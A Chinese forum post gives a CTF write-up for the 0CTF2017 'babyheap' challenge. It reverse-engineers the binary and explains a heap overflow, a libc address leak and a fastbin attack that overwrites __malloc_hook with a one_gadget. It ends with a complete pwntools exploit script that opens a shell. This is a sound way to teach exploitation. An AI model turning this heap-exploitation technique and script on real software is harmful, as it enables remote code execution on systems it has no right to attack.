R00tkit 发表于 2023-8-4 16:27

0CTF2017 : babyheap

本帖最后由 R00tkit 于 2023-9-22 19:44 编辑


# 前言
新注册的论坛账号,我目前在做ctf pwn和reverse,未来打算做android和iot,在吾爱这边准备更新一些实战记录和一些比赛的wp。
本题知识点我在这里有写 : https://bbs.kanxue.com/thread-277530.htm
# 0ctf2017:babyheap
## 检查文件信息


elf64小端序程序,保护全开。
## 修改rpath
检测到编译环境为`GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609`

所以修改rpath为glibc2.23

## 试运行

## 逆向分析
```cpp
//分配堆块函数
char *sub_B70()
{
int fd; //
char *addr; //
unsigned __int64 v3; //
__int64 buf; // BYREF

buf = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
alarm(0x3Cu);
puts("===== Baby Heap in 2017 =====");
fd = open("/dev/urandom", 0);
if ( fd < 0 || read(fd, buf, 0x10uLL) != 16 )
    exit(-1);
close(fd);
addr = (char *)((buf % 0x555555543000uLL + 0x10000) & 0xFFFFFFFFFFFFF000LL);
v3 = (buf % 0xE80uLL) & 0xFFFFFFFFFFFFFFF0LL;
if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
    exit(-1);
return &addr;
}
//返回数据被main里的a1接收。

```

```cpp
//Allocate函数
void __fastcall Allocate(__int64 a1)
{
int i; //
int v2; //
void *v3; //

for ( i = 0; i <= 15; ++i )
{
    if ( !*(_DWORD *)(24LL * i + a1) )
    {
      printf("Size: ");
      v2 = sub_138C();
      if ( v2 > 0 )
      {
      if ( v2 > 4096 )
          v2 = 4096;
      v3 = calloc(v2, 1uLL);//堆块内容初始化为1
      if ( !v3 )
          exit(-1);
      *(_DWORD *)(24LL * i + a1) = 1; //标记是否使用
      *(_QWORD *)(a1 + 24LL * i + 8) = v2;//标记大小Size
      *(_QWORD *)(a1 + 24LL * i + 16) = v3;//堆块地址
      printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
}
}
//结构体如下
struct Heap {
    double in_use;
    double size;
    void *heap;
};


```

```cpp
//Fill函数
__int64 __fastcall Fill(__int64 a1)
{
__int64 result; // rax
int v2; //
int v3; //

printf("Index: ");
result = sub_138C();
v2 = result; //序号
if ( (unsigned int)result <= 0xF ) //0~15
{
    result = *(unsigned int *)(24LL * (int)result + a1);//结构体大小为24bit,在a1这个mmap块分配的。如此寻对应序号的Heap结构体。
    if ( (_DWORD)result == 1 )//检查in_use
    {
      printf("Size: ");
      result = sub_138C();
      v3 = result;
      if ( (int)result > 0 )//存在堆溢出漏洞
      {
      printf("Content: ");
      return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);//分配的heap在结构体偏移16的位置。
      }
    }
}
return result;
}

```
```cpp
//Free函数
__int64 __fastcall Free(__int64 a1)
{
__int64 result; // rax
int v2; //

printf("Index: ");
result = sub_138C();
v2 = result;
if ( (unsigned int)result <= 0xF )
{
    result = *(unsigned int *)(24LL * (int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      *(_DWORD *)(24LL * v2 + a1) = 0;//in_use=0
      *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;//size=0
      free(*(void **)(24LL * v2 + a1 + 16));
      result = 24LL * v2 + a1;
      *(_QWORD *)(result + 16) = 0LL;//chunk置零
    }
}
return result;
}

```
```cpp
//Dump函数
int __fastcall Dump(__int64 a1)
{
int result; // eax
int v2; //

printf("Index: ");
result = sub_138C();
v2 = result;
if ( (unsigned int)result <= 0xF )
{
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));//打印堆块size大小的内容
      return puts(byte_14F1);
    }
}
return result;
}

```
## 漏洞利用
### 1.泄露libc基址
首先申请5个0x71大小的堆块,对应序号为0,1,2,3,4。和一个0x21大小的堆块来阻隔top_chunk。

利用堆溢出修改chunk0时将chunk1的size修改为0x91,chunk1覆盖到chunk2的bk位置,将chunk2分割出0x51大小的堆块。
修改后结构如下

查看此时heap结构

此时free(1)将会把chunk1_0x91放进unsorted_bin。

再次申请0x68大小的空间将会从unsorted_bin分割0x71大小的堆块,并由Heap管理。那么chunk2头部0x20大小的空间将留在unsorted_bin,由于并没有将chunk2给free掉,所以chunk2_fd,chunk2_bk被修改为了栈地址(这题时main_arena++88),此时输出chunk2内容即可获取一个栈地址。

此时堆结构


得到这个站地址后,可以计算他和libc基址的固定偏移
libc基址地址。


固定偏移

### 通过劫持__malloc_hook地址来执行one_gadget
首先将chunk4放入fastbin,然后通过堆溢出利用chunk3修改chunk4的fd指针来将包含__malloc_hook真实地址的fake_fast链接进fastbins。
包含__malloc_hook的fake_fast

修改后chunk结构


fastbin结构

再次申请两次就可将fake_fast申请出来,并且fast_fast由Heap管理。
此时将__malloc_hook地址改为one_gadget地址,随意申请一个堆块就可getshell。

不难计算fake_fast的用户区0x13位置就是__malloc_hook地址。

然后随意申请一个堆块就可getshell


### 完整exp
```python
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h' ]

is_local = True
is_debug = True

if is_debug:
    context.log_level = 'debug'
else:
    context.log_level = 'info'

def connect():
    global r, elf, libc
    if is_local:
      r = process('./babyheap_0ctf_2017')
    else:
      r = remote('IP', port)
    elf = ELF('./babyheap_0ctf_2017')
    libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug(gdbscript=""):
    if is_debug:
      gdb.attach(r, gdbscript=gdbscript)
      pause()
    else:
      pass

def alloc(size):
    r.recvuntil(b'Command:')
    r.sendline(b'1')
    r.recvuntil(b'Size:')
    r.sendline(str(size).encode())

def fill(index,size,content):
    r.recvuntil(b'Command:')
    r.sendline(b'2')
    r.recvuntil(b'Index:')
    r.sendline(str(index).encode())
    r.recvuntil(b'Size:')
    r.sendline(str(size).encode())
    r.recvuntil(b'Content:')
    r.send(content)

def free(index):
    r.recvuntil(b'Command:')
    r.sendline(b'3')
    r.recvuntil(b'Index:')
    r.sendline(str(index).encode())

def dump(index):
    r.recvuntil(b'Command:')
    r.sendline(b'4')
    r.recvuntil(b'Index:')
    r.sendline(str(index).encode())

def leak_libc():
    global libc_addr
    alloc(0x68) # 0
    alloc(0x68) # 1
    alloc(0x68) # 2
    alloc(0x68) # 3
    alloc(0x68) # 4
    alloc(0x18) # 5
    #debug()
    fill(0, 0x70, b'a'*0x68 + p64(0x91))
    fill(2, 0x20, b'\x00'*0x18 + p64(0x51))
    #debug()
    free(1)
    #debug()
    alloc(0x68) # 1
    #debug()
    dump(2)
    r.recvuntil(b'\n')
    libc_addr = u64(r.recv(8))-0x3c4b78
    log.info("main_arena:"+hex(libc_addr+0x3c4b78))
    log.success('libc_addr:'+hex(libc_addr))

def get_shell():
    #debug()
    free(4)
    fill(3,0x78,b'a'*0x68+p64(0x71)+p64(libc_addr+libc.sym['__malloc_hook']-0x23))
    #debug()
    alloc(0x68) # 4
    alloc(0x68) # 6
    fill(6,27,cyclic(19)+p64(libc_addr+0x4527a))
    debug()
    alloc(0x30)
    r.interactive()

def pwn():
    connect()
    leak_libc()
    get_shell()

if __name__=='__main__':
    pwn()

```

Guangnianyinan 发表于 2023-8-8 06:58

厉害的人怎么都优秀{:1_921:}
页: [1]
查看完整版本: 0CTF2017 : babyheap